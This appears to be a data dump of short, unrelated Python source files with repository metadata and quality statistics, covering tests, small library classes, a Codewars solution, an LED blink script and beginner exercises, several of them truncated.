627bd474485e310d01d85eae81a82ddafb5b33d7 | 350 | py | Python | test-it/test_integration_telegraf.py | nolte/tox-docker | 41b0e01ce35710138b2cbabdaec0ff31925c82e7 | [
"BSD-3-Clause"
] | null | null | null | test-it/test_integration_telegraf.py | nolte/tox-docker | 41b0e01ce35710138b2cbabdaec0ff31925c82e7 | [
"BSD-3-Clause"
] | null | null | null | test-it/test_integration_telegraf.py | nolte/tox-docker | 41b0e01ce35710138b2cbabdaec0ff31925c82e7 | [
"BSD-3-Clause"
] | null | null | null | import os
import unittest
class ToxDockerIntegrationTelegrafTest(unittest.TestCase):
# TODO: These tests depend too heavily on what's in tox.ini,
# but they're better than nothing
def test_it_sets_automatic_env_vars(self):
# the telegraf image we use exposes UDP port 8092
self.assertIn("TE... | 31.818182 | 64 | 0.745714 | 50 | 350 | 5.08 | 0.86 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.028269 | 0.191429 | 350 | 10 | 65 | 35 | 0.869258 | 0.394286 | 0 | 0 | 0 | 0 | 0.081731 | 0 | 0 | 0 | 0 | 0.1 | 0.2 | 1 | 0.2 | false | 0 | 0.4 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
628bd1323a6e3f5d7dac60f2c1d6d44de561ac21 | 173 | py | Python | aiotractive/trackable_object.py | bieniu/aiotractive | f6a90431a50e6878408a1a15b753a2409ddbd39e | [
"MIT"
] | 4 | 2021-06-07T21:37:30.000Z | 2022-03-21T20:54:21.000Z | aiotractive/trackable_object.py | bieniu/aiotractive | f6a90431a50e6878408a1a15b753a2409ddbd39e | [
"MIT"
] | 6 | 2021-04-13T10:06:36.000Z | 2022-03-22T17:41:10.000Z | aiotractive/trackable_object.py | bieniu/aiotractive | f6a90431a50e6878408a1a15b753a2409ddbd39e | [
"MIT"
] | 3 | 2021-04-13T05:21:54.000Z | 2022-03-21T20:54:24.000Z | from .data_object import DataObject
class TrackableObject(DataObject):
async def details(self):
return await self._api.request(f"trackable_object/{self._id}")
| 24.714286 | 70 | 0.751445 | 22 | 173 | 5.727273 | 0.818182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.150289 | 173 | 6 | 71 | 28.833333 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0.156069 | 0.156069 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.25 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
628c1352bcc604c3f2d2992af8010d773bf29f3e | 119 | py | Python | logger/_version.py | lux-org/logger | 1241bc774716cd6edd8a02aa07e87f0c8b93b1c9 | [
"Apache-2.0"
] | null | null | null | logger/_version.py | lux-org/logger | 1241bc774716cd6edd8a02aa07e87f0c8b93b1c9 | [
"Apache-2.0"
] | null | null | null | logger/_version.py | lux-org/logger | 1241bc774716cd6edd8a02aa07e87f0c8b93b1c9 | [
"Apache-2.0"
] | 2 | 2020-09-30T23:49:40.000Z | 2021-02-11T23:09:58.000Z | #!/usr/bin/env python
# coding: utf-8
version_info = (0, 0, 1)#, 'dev'
__version__ = ".".join(map(str, version_info))
| 19.833333 | 46 | 0.638655 | 19 | 119 | 3.684211 | 0.789474 | 0.314286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.038835 | 0.134454 | 119 | 5 | 47 | 23.8 | 0.640777 | 0.344538 | 0 | 0 | 0 | 0 | 0.013333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
6552776aee87989b4b4ef9f562d7f05da0e2194e | 1,102 | py | Python | quarkc/test/ffi/expected/py/signatures/generics/constructors/__init__.py | datawire/quark | df0058a148b077c0aff535eb6ee382605c556273 | [
"Apache-2.0"
] | 112 | 2015-10-02T19:51:51.000Z | 2022-03-07T06:29:44.000Z | quarkc/test/ffi/expected/py/signatures/generics/constructors/__init__.py | datawire/quark | df0058a148b077c0aff535eb6ee382605c556273 | [
"Apache-2.0"
] | 181 | 2015-10-01T20:23:38.000Z | 2016-12-07T17:21:26.000Z | quarkc/test/ffi/expected/py/signatures/generics/constructors/__init__.py | datawire/quark | df0058a148b077c0aff535eb6ee382605c556273 | [
"Apache-2.0"
] | 31 | 2015-10-13T22:10:00.000Z | 2020-08-03T02:50:12.000Z | from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import
from __future__ import print_function
from builtins import str as unicode
from quark_runtime import *
_lazyImport.plug("generics.constructors")
import quark.reflect
class Box(_QObject):
def _init(self):... | 23.956522 | 83 | 0.711434 | 136 | 1,102 | 5.330882 | 0.360294 | 0.075862 | 0.088276 | 0.132414 | 0.248276 | 0.082759 | 0 | 0 | 0 | 0 | 0 | 0 | 0.193285 | 1,102 | 45 | 84 | 24.488889 | 0.815523 | 0 | 0 | 0.066667 | 0 | 0 | 0.115245 | 0.094374 | 0 | 0 | 0 | 0 | 0 | 1 | 0.233333 | false | 0 | 0.4 | 0.066667 | 0.8 | 0.033333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
655d6f98c3200c07f426a028581434cd2bf8227e | 586 | py | Python | sphinx_math_dollar/tests/test_extension.py | oscargus/sphinx-math-dollar | 320378976db51653ebb460761d8fff35f9c0205a | [
"MIT"
] | 23 | 2019-09-14T03:01:04.000Z | 2022-03-12T21:36:06.000Z | sphinx_math_dollar/tests/test_extension.py | oscargus/sphinx-math-dollar | 320378976db51653ebb460761d8fff35f9c0205a | [
"MIT"
] | 27 | 2019-09-13T22:54:05.000Z | 2022-02-18T22:25:39.000Z | sphinx_math_dollar/tests/test_extension.py | oscargus/sphinx-math-dollar | 320378976db51653ebb460761d8fff35f9c0205a | [
"MIT"
] | 7 | 2019-09-17T19:16:11.000Z | 2022-02-17T00:23:53.000Z | import pytest
def test(app):
app.build()
@pytest.mark.sphinx(buildername='html')
def test_sphinx_build(app, status, warning):
app.build()
html = (app.outdir/'index.html').read_text()
assert r"\(math\)" in html
assert r"\[displaymath\]" in html
assert "$nomath$" in html
assert "$math$" ... | 20.928571 | 48 | 0.631399 | 84 | 586 | 4.369048 | 0.27381 | 0.147139 | 0.294278 | 0.245232 | 0.435967 | 0.305177 | 0.201635 | 0.201635 | 0.201635 | 0.201635 | 0 | 0 | 0.216724 | 586 | 27 | 49 | 21.703704 | 0.799564 | 0 | 0 | 0.111111 | 0 | 0 | 0.186007 | 0 | 0 | 0 | 0 | 0 | 0.611111 | 1 | 0.111111 | false | 0 | 0.055556 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
6586a50161dceabb4d22025fad4446eb21c312c8 | 325 | py | Python | pyActionRecog/__init__.py | Ewenwan/DTPP | 0a10dd8c61596d5326fbbe70dcac0eae59088c27 | [
"BSD-2-Clause"
] | 1 | 2019-05-07T01:00:18.000Z | 2019-05-07T01:00:18.000Z | pyActionRecog/__init__.py | Ewenwan/DTPP | 0a10dd8c61596d5326fbbe70dcac0eae59088c27 | [
"BSD-2-Clause"
] | null | null | null | pyActionRecog/__init__.py | Ewenwan/DTPP | 0a10dd8c61596d5326fbbe70dcac0eae59088c27 | [
"BSD-2-Clause"
] | 1 | 2019-09-18T05:27:50.000Z | 2019-09-18T05:27:50.000Z | from benchmark_db import *
split_parsers = dict()
split_parsers['newucf101'] = newparse_ucf_splits
split_parsers['newhmdb51'] = newparse_hmdb51_splits
split_parsers['ucf101'] = parse_ucf_splits
split_parsers['hmdb51'] = parse_hmdb51_splits
def parse_split_file(dataset):
sp = split_parsers[dataset]
return s... | 20.3125 | 51 | 0.778462 | 42 | 325 | 5.619048 | 0.47619 | 0.305085 | 0.228814 | 0.177966 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.049123 | 0.123077 | 325 | 15 | 52 | 21.666667 | 0.778947 | 0 | 0 | 0 | 0 | 0 | 0.092593 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.111111 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
65bcb11b993dbca3a1b0274f6462159b8615bcc3 | 875 | py | Python | src/BaseSpacePy/model/QueryParametersPurchasedProduct.py | menis/basespace-python3-sdk | 04435fb6df8b37ee43264b28e95f708145fd927b | [
"Apache-2.0"
] | null | null | null | src/BaseSpacePy/model/QueryParametersPurchasedProduct.py | menis/basespace-python3-sdk | 04435fb6df8b37ee43264b28e95f708145fd927b | [
"Apache-2.0"
] | null | null | null | src/BaseSpacePy/model/QueryParametersPurchasedProduct.py | menis/basespace-python3-sdk | 04435fb6df8b37ee43264b28e95f708145fd927b | [
"Apache-2.0"
] | null | null | null |
from BaseSpacePy.api.BaseSpaceException import UndefinedParameterException,UnknownParameterException,IllegalParameterException
legal = { 'Tags':[], 'ProductIds':[] }
class QueryParametersPurchasedProduct(object):
'''
This class can be passed as an optional argument for a filtering getUserProducts list res... | 28.225806 | 126 | 0.614857 | 91 | 875 | 5.78022 | 0.505495 | 0.095057 | 0.04943 | 0.064639 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.290286 | 875 | 30 | 127 | 29.166667 | 0.847021 | 0.107429 | 0 | 0 | 0 | 0 | 0.018325 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0.25 | 0.05 | 0.15 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 3 |
65c6a928e08eb82a8ad32ccf046039c60cc8054f | 261 | py | Python | openstack-dashboard/openstack_dashboard/dashboards/project/paas/panel.py | foruy/openflow-multiopenstack | 74140b041ac25ed83898ff3998e8dcbed35572bb | [
"Apache-2.0"
] | 1 | 2019-09-11T11:56:19.000Z | 2019-09-11T11:56:19.000Z | tools/dockerize/webportal/usr/share/openstack-dashboard/openstack_dashboard/dashboards/project/paas/panel.py | foruy/openflow-multiopenstack | 74140b041ac25ed83898ff3998e8dcbed35572bb | [
"Apache-2.0"
] | null | null | null | tools/dockerize/webportal/usr/share/openstack-dashboard/openstack_dashboard/dashboards/project/paas/panel.py | foruy/openflow-multiopenstack | 74140b041ac25ed83898ff3998e8dcbed35572bb | [
"Apache-2.0"
] | null | null | null | from django.utils.translation import ugettext_lazy as _
import horizon
from openstack_dashboard.dashboards.project import dashboard
class Paas(horizon.Panel):
name = _("Trusted PaaS Measurement")
slug = 'paas'
dashboard.Project.register(Paas)
| 26.1 | 60 | 0.766284 | 31 | 261 | 6.322581 | 0.677419 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.157088 | 261 | 9 | 61 | 29 | 0.890909 | 0 | 0 | 0 | 0 | 0 | 0.10728 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.428571 | 0 | 0.857143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
65ce471e271caee0183e0cf3316128de635bd590 | 3,494 | py | Python | test_api_examples/test_assertions.py | prosky-pmaj/python-framework-for-web-ui-and-api-testing | 6218aca2e5a45f26507ab624724e1f17dca5546f | [
"MIT"
] | null | null | null | test_api_examples/test_assertions.py | prosky-pmaj/python-framework-for-web-ui-and-api-testing | 6218aca2e5a45f26507ab624724e1f17dca5546f | [
"MIT"
] | null | null | null | test_api_examples/test_assertions.py | prosky-pmaj/python-framework-for-web-ui-and-api-testing | 6218aca2e5a45f26507ab624724e1f17dca5546f | [
"MIT"
] | null | null | null | import unittest
from apibase import http
class TestRequests(unittest.TestCase):
def test_assert_regex(self):
response = http.get('http://blazedemo.com/')
response.assert_ok()
response.assert_status_code(200)
response.assert_regex_in_body('Welcome to the Simple Travel Agency!')
... | 36.395833 | 84 | 0.676302 | 451 | 3,494 | 4.973392 | 0.170732 | 0.168524 | 0.121712 | 0.177887 | 0.703522 | 0.585823 | 0.546589 | 0.546589 | 0.510923 | 0.40749 | 0 | 0.0088 | 0.186892 | 3,494 | 95 | 85 | 36.778947 | 0.780711 | 0 | 0 | 0.333333 | 0 | 0 | 0.233829 | 0 | 0 | 0 | 0 | 0 | 0.666667 | 1 | 0.291667 | false | 0 | 0.027778 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
65e6a0af17da0ad407ee2e10b12e93c5feebfa93 | 144 | py | Python | matiushin_medvedev/backend/web/dto/validation_utils.py | DMatiushin/stud_projects | fe25dc15a209b2c6ef6ad0e3995741a61bae4528 | [
"MIT"
] | null | null | null | matiushin_medvedev/backend/web/dto/validation_utils.py | DMatiushin/stud_projects | fe25dc15a209b2c6ef6ad0e3995741a61bae4528 | [
"MIT"
] | 1 | 2021-01-27T10:46:24.000Z | 2021-01-27T10:46:24.000Z | matiushin_medvedev/backend/web/dto/validation_utils.py | DMatiushin/stud_projects | fe25dc15a209b2c6ef6ad0e3995741a61bae4528 | [
"MIT"
] | null | null | null | from marshmallow import ValidationError
def validate_blank_string(value):
if not value:
raise ValidationError('Can not be blank')
| 20.571429 | 49 | 0.75 | 18 | 144 | 5.888889 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.194444 | 144 | 6 | 50 | 24 | 0.913793 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
65ec51c15e566f79e779620d437aedb01c963a53 | 167 | py | Python | 6 kyu/String Letter Counting/String Letter Counting.py | anthonyjatoba/codewars | 76b0d66dd1ba76a4d136b658920cdf85fd5c4b06 | [
"MIT"
] | null | null | null | 6 kyu/String Letter Counting/String Letter Counting.py | anthonyjatoba/codewars | 76b0d66dd1ba76a4d136b658920cdf85fd5c4b06 | [
"MIT"
] | null | null | null | 6 kyu/String Letter Counting/String Letter Counting.py | anthonyjatoba/codewars | 76b0d66dd1ba76a4d136b658920cdf85fd5c4b06 | [
"MIT"
] | null | null | null | import string
def string_letter_count(s):
s = s.lower()
return ''.join('{}{}'.format(s.count(c), c) for c in string.ascii_lowercase if s.count(c) > 0) | 33.4 | 105 | 0.616766 | 28 | 167 | 3.571429 | 0.607143 | 0.04 | 0.14 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007519 | 0.203593 | 167 | 5 | 105 | 33.4 | 0.744361 | 0 | 0 | 0 | 0 | 0 | 0.02381 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
65ec80a43d4bb3a657e7cede6e753caa43b938bd | 136 | py | Python | blink_led/blink_led.py | fuzzyhandle/pihangout | 9382a9bde92d753d52584d99e2e52987d504da54 | [
"MIT"
] | null | null | null | blink_led/blink_led.py | fuzzyhandle/pihangout | 9382a9bde92d753d52584d99e2e52987d504da54 | [
"MIT"
] | null | null | null | blink_led/blink_led.py | fuzzyhandle/pihangout | 9382a9bde92d753d52584d99e2e52987d504da54 | [
"MIT"
] | null | null | null | from gpiozero import LED
import time
led = LED(17)
while True:
led.on()
time.sleep(1)
led.off()
time.sleep(1) | 13.6 | 25 | 0.580882 | 21 | 136 | 3.761905 | 0.571429 | 0.227848 | 0.253165 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.042105 | 0.301471 | 136 | 10 | 26 | 13.6 | 0.789474 | 0 | 0 | 0.25 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
029375757e56ad69553833d26f6052a3da090d58 | 4,405 | py | Python | code/python/python_study/study.py | menhuan/notes | aaebe6a37b272d6b1110c7d23724aab079468628 | [
"Apache-2.0"
] | 37 | 2019-01-30T09:06:11.000Z | 2021-11-07T20:25:33.000Z | code/python/python_study/study.py | menhuan/notes | aaebe6a37b272d6b1110c7d23724aab079468628 | [
"Apache-2.0"
] | null | null | null | code/python/python_study/study.py | menhuan/notes | aaebe6a37b272d6b1110c7d23724aab079468628 | [
"Apache-2.0"
] | 13 | 2019-02-22T15:24:50.000Z | 2020-05-10T14:51:18.000Z |
def study_content():
print("learn english and math")
def study_english():
print("learn english")
content = "hello world"
print(content)
# if 判断
# number_a = 10
# number_b = 20
# if number_a > number_b:
# print("number_a 大于 number_b")
# if number_a < number_b:
# print("number_a... | 18.586498 | 62 | 0.546198 | 576 | 4,405 | 4.135417 | 0.192708 | 0.050798 | 0.025189 | 0.02351 | 0.506717 | 0.441646 | 0.388749 | 0.337112 | 0.336272 | 0.336272 | 0 | 0.030562 | 0.257208 | 4,405 | 236 | 63 | 18.665254 | 0.697433 | 0.88059 | 0 | 0 | 0 | 0 | 0.123656 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.333333 | 0.5 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
02985dbda53e5bf862cee6cf506db13fe0f2eea1 | 765 | py | Python | Calculator/container.py | joulebit/Projects-for-learning | f0aecf9d4f446d09adae46bdd3bef39397569770 | [
"MIT"
] | null | null | null | Calculator/container.py | joulebit/Projects-for-learning | f0aecf9d4f446d09adae46bdd3bef39397569770 | [
"MIT"
] | null | null | null | Calculator/container.py | joulebit/Projects-for-learning | f0aecf9d4f446d09adae46bdd3bef39397569770 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Sun Sep 15 23:27:47 2019
@author: Joule
"""
class Container:
"""Superclass for queue and stack"""
def __init__(self):
self.items = []
def size(self):
"""return the size of the list"""
return len(self.items)
def is_empty... | 22.5 | 68 | 0.539869 | 107 | 765 | 3.813084 | 0.560748 | 0.088235 | 0.088235 | 0.073529 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025743 | 0.339869 | 765 | 33 | 69 | 23.181818 | 0.782178 | 0.422222 | 0 | 0.153846 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.461538 | false | 0.153846 | 0 | 0 | 0.692308 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
029fbd0bdd08c1f0ef98b972b84d6165df43c5af | 414 | py | Python | config/cryptoconfig.py | KingFarGrace/chat_board | 9e8de73c9b22f6c163ae1576ed3885c005ca1eca | [
"MIT"
] | null | null | null | config/cryptoconfig.py | KingFarGrace/chat_board | 9e8de73c9b22f6c163ae1576ed3885c005ca1eca | [
"MIT"
] | null | null | null | config/cryptoconfig.py | KingFarGrace/chat_board | 9e8de73c9b22f6c163ae1576ed3885c005ca1eca | [
"MIT"
] | null | null | null | # from Crypto.PublicKey import RSA
# key = RSA.generate(1024)
# # 生成密钥对
# # 提取私钥并存入文件 private_key.pem
# private_key = key.export_key(passphrase='123456', pkcs=8, protection="scryptAndAES128-CBC")
# file_out = open("private_key.pem", "wb")
# file_out.write(private_key)
#
# # 提取公钥存入文件 public_key.pem
# public_key = key.pu... | 31.846154 | 93 | 0.729469 | 60 | 414 | 4.8 | 0.45 | 0.138889 | 0.090278 | 0.083333 | 0.138889 | 0.138889 | 0 | 0 | 0 | 0 | 0 | 0.03794 | 0.108696 | 414 | 12 | 94 | 34.5 | 0.742547 | 0.932367 | 0 | null | 1 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
02a7af8eb7f278918d7ae17f09c5f36e62816580 | 1,578 | py | Python | pyzoo/zoo/automl/impute/abstract.py | ankitdobhal/analytics-zoo | b8374bcd6c73bba49fe0b0ab075528cdd94cf2af | [
"Apache-2.0"
] | null | null | null | pyzoo/zoo/automl/impute/abstract.py | ankitdobhal/analytics-zoo | b8374bcd6c73bba49fe0b0ab075528cdd94cf2af | [
"Apache-2.0"
] | 1 | 2021-01-20T15:41:01.000Z | 2021-01-20T15:41:01.000Z | pyzoo/zoo/automl/impute/abstract.py | ankitdobhal/analytics-zoo | b8374bcd6c73bba49fe0b0ab075528cdd94cf2af | [
"Apache-2.0"
] | 1 | 2020-09-01T06:53:08.000Z | 2020-09-01T06:53:08.000Z | #
# Copyright 2018 Analytics Zoo Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 29.222222 | 99 | 0.634981 | 201 | 1,578 | 4.955224 | 0.577114 | 0.060241 | 0.026104 | 0.032129 | 0.070281 | 0.070281 | 0.070281 | 0 | 0 | 0 | 0 | 0.007175 | 0.293409 | 1,578 | 53 | 100 | 29.773585 | 0.886099 | 0.709759 | 0 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0.333333 | 0.111111 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
02b3e5b244d3fbf3c25b9b8538c89f61e3ffe190 | 48 | py | Python | build/lib/LI_pkg/constantes.py | gnouf1/language-identifier | 18cbca5aa9f6d49daf29791121ee2cfc285fba31 | [
"MIT"
] | null | null | null | build/lib/LI_pkg/constantes.py | gnouf1/language-identifier | 18cbca5aa9f6d49daf29791121ee2cfc285fba31 | [
"MIT"
] | null | null | null | build/lib/LI_pkg/constantes.py | gnouf1/language-identifier | 18cbca5aa9f6d49daf29791121ee2cfc285fba31 | [
"MIT"
] | null | null | null | NB_WORD = 15
NB_ITER = 2
EXCLU = 2
NOEXCLU = 1
| 8 | 12 | 0.645833 | 10 | 48 | 2.9 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 0.270833 | 48 | 5 | 13 | 9.6 | 0.685714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
02c70bf1088a781dccc6bbf6b86234d9eb36367d | 101 | py | Python | mru2/mru2.py | Arthurnevs/E2 | 8e27261335fa17dec3a40e3073b4ca2c47f86007 | [
"Apache-2.0"
] | null | null | null | mru2/mru2.py | Arthurnevs/E2 | 8e27261335fa17dec3a40e3073b4ca2c47f86007 | [
"Apache-2.0"
] | null | null | null | mru2/mru2.py | Arthurnevs/E2 | 8e27261335fa17dec3a40e3073b4ca2c47f86007 | [
"Apache-2.0"
] | null | null | null | s0 = float(input())
v = float(input())
t = float(input())
s = s0 + (v*t)
print('{:.2f}'.format(s))
| 12.625 | 25 | 0.524752 | 17 | 101 | 3.117647 | 0.529412 | 0.566038 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.035714 | 0.168317 | 101 | 7 | 26 | 14.428571 | 0.595238 | 0 | 0 | 0 | 0 | 0 | 0.059406 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.2 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
02d458091defcf32f12ff171204d4f04192bc627 | 25,431 | py | Python | mod_DQN_Conv.py | navidivan/poker_rl | a81bfcd7eb297b68fe03f92798c6abd657ddf6a3 | [
"Apache-2.0"
] | 3 | 2020-08-30T19:27:02.000Z | 2020-08-31T23:29:15.000Z | mod_DQN_Conv.py | navidivan/poker_rl | a81bfcd7eb297b68fe03f92798c6abd657ddf6a3 | [
"Apache-2.0"
] | null | null | null | mod_DQN_Conv.py | navidivan/poker_rl | a81bfcd7eb297b68fe03f92798c6abd657ddf6a3 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
"""Untitled48.ipynb
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/1QvmyUtRjVoxuDhjUxKG_XAesHiDeTtKR
"""
import numpy as np
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
